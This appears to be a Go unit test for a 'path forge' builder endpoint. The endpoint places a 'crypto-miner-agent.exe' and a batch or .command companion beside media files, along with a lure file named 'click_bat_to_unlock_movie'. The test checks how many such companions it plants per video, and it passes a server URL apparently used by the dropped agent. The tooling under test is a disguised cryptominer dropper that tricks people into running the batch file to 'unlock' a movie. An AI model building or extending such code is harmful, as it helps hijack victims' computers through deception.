package builder

import (
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"testing"
)

func TestPathForgePlacedExcludesHintFile(t *testing.T) {
	root := t.TempDir()
	mediaDir := filepath.Join(root, "movies")
	if err := os.MkdirAll(mediaDir, 0755); err != nil {
		t.Fatal(err)
	}
	if err := os.WriteFile(filepath.Join(mediaDir, "clip.mkv"), []byte("video"), 0644); err != nil {
		t.Fatal(err)
	}

	// Satisfy Windows target requirement.
	exe, err := os.Executable()
	if err != nil {
		t.Fatal(err)
	}
	agentDir := filepath.Join(filepath.Dir(exe), "agent")
	if err := os.MkdirAll(agentDir, 0755); err != nil {
		t.Fatal(err)
	}
	agentPath := filepath.Join(agentDir, "crypto-miner-agent.exe")
	if runtime.GOOS == "windows" {
		if err := os.WriteFile(agentPath, []byte("MZ"), 0644); err != nil {
			t.Fatal(err)
		}
	} else {
		// Non-Windows: mac-only path avoids agent exe requirement.
	}

	body := `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":true,"target_mac":false}`
	if runtime.GOOS != "windows" {
		body = `{"root_path":"` + strings.ReplaceAll(mediaDir, `\`, `\\`) + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1:8989"}`
	}

	h := NewPathForgeHandler(t.TempDir())
	req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
	rec := httptest.NewRecorder()
	h.ServeHTTP(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status %d body=%s", rec.Code, rec.Body.String())
	}

	var res PathForgeResult
	if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
		t.Fatal(err)
	}
	if res.Total != 1 {
		t.Fatalf("total: %d", res.Total)
	}
	// One media file → exe + bat (or .command), not counting hint file.
	if res.Placed < 1 || res.Placed >= 3 {
		t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
	}
	for _, entry := range res.Results {
		for _, f := range entry.Files {
			if f == "click_bat_to_unlock_movie" {
				continue
			}
		}
	}
}